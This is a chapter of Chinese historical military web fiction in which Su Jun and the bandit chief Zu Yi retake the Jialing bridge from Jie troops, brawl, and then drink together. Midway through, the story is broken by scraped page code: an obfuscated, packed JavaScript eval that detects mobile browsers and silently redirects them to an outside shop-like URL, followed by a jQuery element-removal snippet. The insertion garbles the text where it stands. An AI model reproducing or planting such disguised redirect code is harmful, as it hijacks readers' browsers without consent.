春去秋来。江北嘉陵一带。
日暮将尽时,山头上有几人正伏身眺望。“三一、三二……大帅,桥南能看见的有三十来人。桥北全是密林,就看不清了。”
有人“嗯哼”了一声,胡乱咬了口干粮:“桥北不管他——苏骏带八百人去攻,怎么也够了。咱们只管南边这头。”
又问,“东西都备好了吧?大鼓、回声桶,点烟的干枝,还有啥……”
底下人答:“还有十来个手炮。”
指挥的人应了:“行,两人分一个。记着,干完就跑,绝不恋战。”
“好的嘞。”
指挥的人再次伏好了。
等待的时候,时间总是过得很慢。
他回想起那个披大红军甲的人,单枪匹马进到青山坞里,轻飘飘地问:“合作?”
合作啥?苏家麾下十八万大军,还用得着他祖奕,区区一个三千流民帅——俗称山匪头子?
“嘉陵石桥。”
苏骏淡定道:“三不管的破桥,往来军粮的咽喉,就在你青山坞脚下。刚被羯人驻军占了,只有一百来人。趁他没站稳,你我联手把它拿回来。”
你厉害,自己干不就完了?
“地头蛇,佯攻、点完火就跑的行当,没人比得过你。”
苏骏低头,拍了一块烟草。“我只要你拖住东南侧两刻钟,北面我带八百人正面推进,西南偏军二百接应。前后夹击,必能一夜之内拿下,解除你我后顾之忧。”
又把烟盒递去,“来么?”
祖奕嗤了一下。趴在山头,摸烟、倒进斗里,点火——
来,不然等到啥时候。
.
终于天色全暗了下来。
桥南营地炊火渐息,人人回帐休息,只余下几个守夜人靠着闲话。
一人用羯语道:“汉人皇帝咋这鬼多?匈奴杀了个,鲜卑杀了俩,自己互打又死了五六个,咋还有呢?”
另一人则道:“江北差不多灭完了,接下来就是往南走了——所以才让咱先占了这桥呗……”
正说着,突然东南林间,一声手炮炸响!紧接着鼓声雷动,火焰腾起,滚烟四散。许多人高喊:“杀——”
声势之浩大,仿佛千军万马冲来。
几个守夜人登时吓得一骨碌爬起来,敲锣打鼓——
“敌袭——敌袭——”
“东南起火了!”
“快去禀都头!”
.
眼看敌营乱做一团,先是往北营禀报的,不一会儿又是冲来南营增援的。转眼底下已堆了有四五十人。
祖奕令道:“回声桶再叠一倍,吓一吓,别让他们上来了。”
底下应了就去。
已过了一刻半钟。
祖奕一边记着时间,一边拿目镜观测。西南侧仍无动静,北面敌营忙于备战,灯火全亮。正要挪开目光,忽然扫见——
等等。
桥下那啥?
在黑水湍急、十丈来高的北岸边,有一群着暗衣的人正用钩索向上急攀!
祖奕吃了一惊,立刻调整目镜细看去——
领头那人,戴着主帅军盔,一侧目,岂不就是苏骏本人!
祖奕把目镜一摔,恨道:“奶奶的,骗我!”
立刻喝令:“收档,全部藏进林里!”
流民们“啊”了一声:“那咱这鼓……”
“不要了,走!”
一弯腰又把自己摔的目镜捡了起来,翻身上马。临走前又看了一眼,那群人已经陆续攀上北岸,正悄然集结部队,一眼扫去约有百人上下。
根本没有什么千人大军,就是以百敌百!
还借了他三十人!
祖奕恨得牙痒,正要撤退。可是一拉马又想,他奶奶的,姓苏的要死这了,嘉陵一带自然被羯人吃死,到时大军来驻,他青山坞在眼皮下还有活路吗?
他拉着马,粗喘了两口气,最后咬牙切齿地令道——
“诱敌入林,战!”
.
这一夜,石桥火光四起,杀声不歇。
羯人被前后夹击,杀得措手不及,口中狂喊:“是江南军!”“说不清多少人,平地里冒出来的!”
又至苏骏一路杀入主帐,生擒敌方都头。对方连连作揖,用蹩脚的汉语求饶:“别杀,我、我降!”又传令下去——
“停手,全部停手!”
苏骏也不跟他废话,拎人出门,乘势一鼓作气占下石桥、焚毁敌旗。随即封死石桥布防,不许追击,任敌兵四散而逃。
待天大亮时,两岸已重新扬起了军旗,红底黄边,风里翻飞——
一个“苏”字。
“姓苏的!”
祖奕狂吼,大步冲了过来。
左右欲去拦,却被苏骏制止。“让他来。”
话音未落,祖奕凶猛的一刀已经砍来,直逼他门面。
苏骏侧身一避,正好擦身而过。自己反手起刀,正在对方第二刀落前险险地格住。
二人压刀对峙一瞬,祖奕怒目:“拿我的人搏命?你找死!”
紧接着便是狂风骤雨般一阵狂斩。
苏骏连连格挡,兵刀丁当狂响。左右看得心惊肉跳:“将军不出全力,只怕要吃亏!”
想上前帮忙,却被苏骏一声暴喝斥回:“都不许动!”
话音未落,左臂已被对方刀锋划开一道血口。他却只顾顺势逼近,左肘一顶,撞在对方手腕内侧。
祖奕登时手腕一麻,险些握不住刀。
苏骏迅速回身,脚下控人,右手一翻,竟并着自己的刀一气夺下对方的刀!
双刀叠着落地,当啷巨响。
苏骏道:“野路子,你打不过我。”
祖奕却喘着气,又扑了上来:“怎么,正规军了不起啊!老子打死你个!”
空手无刃,祖奕天生力大,竟比苏骏还猛。拳拳不要命,边打边骂:“什么脏东西,高门?贵家子?狗官胚子,不讲武德……”
苏骏被砸了嘴角,终于再不留手。肘、膝、掌并用,接连数招狠辣如斧劈。一时间只见二人缠在一起,打得满地翻滚。
祖奕吐了一口血,终于再动不了了。
苏骏自己也喘着气,扔了他衣襟,边起身边呸了一口:“想赢老子?下辈子吧!”
却一时脱力,踉跄了一下。
左右吓得赶紧来扶:“哎哟将军,可是伤着了?军医——快快,叫军医!”
苏骏指着地上那玩意儿:“治他,老子不用。”
便按着臂伤,一步步走了。
.
什么难缠玩意儿?
苏骏回帐,让随身兵处理伤口。大腿外侧皮肉翻起,血迹斑斑。相比之下——他昨夜百人中取敌首,连皮都没擦着。
他咬了咬牙,别开头去。
“将军这两天可别碰水,得少走动,最好是静养。”
静个屁。
羯人回过头来不反击吗?
桥头刚拿下,军心未固、辎重未清、斥候没全——躺下等死?
“颍川的调兵到哪了?”
“回将军,五百人一路急奔,今早传信还有两日路程。”
“让沈充给北州府打个报告,再调八百。嘉陵一带,以后要重兵常驻。”
随身兵应了“是”,又不由劝:“三印令后,调军总这么繁琐。将军不如,还是跟建康那边打个招呼……”
立刻感到一道冷刀子似的目光逼来。
.
主帐中传出一阵哇哇大叫:“将军饶命,饶命啊——”
随即帘子一掀,一人被扔得滚出两丈远,脸朝地,满头尘土。
有人路过,赶紧悄悄问:“怎么了?”
值夜校尉压低声:“小子不懂事,提了建康。”
“啧。”
帐内又传来苏骏的冷声:“关禁闭,三日内不得开口!”
人人咋舌,只好低头去办。
.
祖奕被生折了两根右肋骨,左眼淤成一团,浑身擦伤累累,像是被野兽拖过一圈。正当他龇牙咧嘴地,试图单手完成捧碗及吃饭时——
苏骏掀帘而进:“姓祖的!”
祖奕登时吓得没拿住碗,饭菜当的一声翻地。
他顿了顿,好歹忍住骂人的冲动。回过头来,皮笑肉不笑:“进门敲门,你娘没教……”
话音未完,迎面便是一记重物砸来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338204|199267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>拦下一看,是一坛子酒。
只见苏骏往凳子上一歪,喝了口自己手上的,用眼神表达了个“请便”。
祖奕那便不客气了,拔了酒盖,仰头就是一大口。
那酒烧喉入腹,烈得像刀,香得像火。一口下肚,顿时浑身筋骨都活络了。
他扯着嗓子吼了声:“痛快!”
甩了甩头,又灌一口。
如此一连三口下去,咕咚咕咚,半坛见底。这才意犹未尽地放下酒坛,抬手胡乱擦了把嘴,脸颊发红,眼神发亮。
“好东西,真是好东西!”
苏骏不置可否,悠哉地喝自己的。
吃人嘴短,祖奕至此已把那点过节丢到爪哇国去了。开始自来熟:“哎,你这么打仗,是怎么活到今天的?”
“……”
“不说是吧,嘿,我问人了的。就送饭那个小个子,说你命硬,小时候被马踩过脑袋都没死成。”
“……”
“你是那个天生话少,还是慢热啊?”
“……”
“哦,慢热。那先说说,家里几口?出来几年了?不打仗的时候都干啥?”
苏骏忍无可忍:“……你好吵。”
祖奕笑得十分愉快:“那叫性格好。不行你去问,十里八乡的都知道,我祖奕去谁家一坐,那是烧香请来的福星——”
掰手指算,“能讲段子、掏野味、还能修水渠。连村里狗都要跟我走!”
苏骏终于起身。
祖奕一叹:“我说你,绷这么紧干啥?放松点,酒都没喝完呢 ……”
苏骏看了他一眼。
“好好,我不说了。你坐,我听你说行吧?”
祖奕好说歹说,把人劝留下了。
他一闭上嘴,二人就陷入各自喝酒的绝对沉默。
半刻钟后,祖奕被尴尬得头皮发麻:“……你要不还是走吧。”
苏骏又看了他一眼,当真起身。
当真走了。
临出门时,遇上来收送饭的小兵。顿了一下,却没说什么,负手走了。
小兵给那眼神吓得一个激灵。
回过头来,摸着砰砰跳的心,问屋里那厮:“祖宗啊,您可说了什么吗?将军看着,不、不太对啊……”
“没说什么啊。怎么不对了?”
“好像,好像挺高兴的。”
“……哈?”
祖奕瞪大眼,“你管,那个,叫高兴啊?”
从头到尾冷着脸,基本没说话啊!
“是啊,走得不快,肩也松着……您让他走,他甚至没骂人!”
“……”
祖奕半晌方道,“你们将军,怕不是小时候脑子给马踢坏了……”
“没有,将军原来不是这样的。他从前可张扬了,笑得大、骂得响,是全江南出了名的风流人物!就是——”
小兵说着也是一顿,叹,“前两年不知在建康遇上什么事,回来整个人都变了。沉得很,除了打仗有劲,其他时候就跟冰雕似的……”
.
祖奕虽不要脸,总蹭在人军营里也不是个事。养了两天伤 ,钉着钢板能上马的时候便要走了。临行前,苏骏亲自给他送到营口,又听他压低声:
“管好你底下的口风。这事我没参与,回头别让羯人盯上我了——坞里几千口老小还要活命呢。”
苏骏“呵”了一声:“啰嗦。”
“还有建康那头,你报告里也别写我。”
“……为啥?”
祖奕“啧”了一声:“俗话说,枪打出头鸟、深藏功与名。你那朝里能有啥好玩意,特别是那个司马瑞啊,前些天还……”
话还未说完,便有一人一马急急冲来:“报——”
下马便呈上黑漆封函。“是建康来的。”
苏骏立刻接了就走。
只余下祖奕一脸懵,手都还没收,又喊了声:“喂!”
那人只顾拆信读信,已经一气走了老远,根本不理。
祖奕一瘪嘴,“切”了一声。
心道,好心好意提醒他,不听,那吃亏了活该呗。
便自己翻身上马,吹了个口哨:“兄弟们,走咯!回家!”